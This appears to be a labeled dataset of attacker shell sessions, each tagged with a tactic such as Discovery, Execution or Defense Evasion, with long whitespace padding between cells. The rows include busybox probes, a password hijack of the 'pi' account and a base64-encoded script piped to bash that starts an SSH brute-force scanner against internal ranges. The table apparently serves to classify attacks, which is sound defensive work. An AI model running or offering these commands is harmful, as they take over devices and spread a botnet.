                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            |
| cat       | Discovery         | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox TIPZU ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox TIPZU ; tftp; wget; /bin/busybox TIPZU ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox TIPZU ; rm .s; exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
| cat       | Execution         | cat /proc/cpuinfo | grep name | wc -l ; echo -e "raspberrypi\nlJiIZEMXiUpA\nlJiIZEMXiUpA"|passwd|bash ; Enter new UNIX password:  ; echo "raspberrypi\nlJiIZEMXiUpA\nlJiIZEMXiUpA\n"|passwd ; echo "321" > /var/tmp/.var03522123 ; rm -rf /var/tmp/.var03522123 ; cat /var/tmp/.var03522123 | head -n 1 ; cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' ; free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' ; ls -lh $(which ls) ; which ls ; crontab -l ; w ; uname -m ; cat /proc/cpuinfo | grep model | grep name | wc -l ; top ; uname ; uname -a ; lscpu | grep Model ; echo "pi raspberrypi" > /tmp/up.txt ; rm -rf /var/tmp/dota* ; cat /var/tmp/.systemcache436621 ; echo "1" > /var/tmp/.systemcache436621 ; cat /var/tmp/.systemcache436621 ; sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApta2RpciAuWDE3LXVuaXgKY2QgLlgxNy11bml4Cm12IC92YXIvdG1wL2RvdGEudGFyLmd6IGRvdGEudGFyLmd6CnRhciB4ZiBkb3RhLnRhci5negpzbGVlcCAzcyAmJiBjZCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYwpub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTkyLjE2OCA+PiAvZGV2L251bGwgMj4xJgpzbGVlcCA4bSAmJiBub2h1cCAvdG1wLy5YMTctdW5peC8ucnN5bmMvYy90c20gLXQgMTUwIC1TIDYgLXMgNiAtcCAyMiAtUCAwIC1mIDAgLWsgMSAtbCAxIC1pIDAgL3RtcC91cC50eHQgMTcyLjE2ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDIwbSAmJiBjZCAuLjsgL3RtcC8uWDE3LXVuaXgvLnJzeW5jL2luaXRhbGwgMj4xJgpleGl0IDA=" | base64 --decode | bash                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| cat       | Not Malicious Yet | cat /etc/issue | nproc                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                |
| echo      | Defense Evasion   | enable ; system ; shell ; sh ; cat /proc/mounts; /bin/busybox VPJLY ; cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox VPJLY ; tftp; wget; /bin/busybox VPJLY ; dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s ; /bin/busybox VPJLY ; rm .s; exit                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           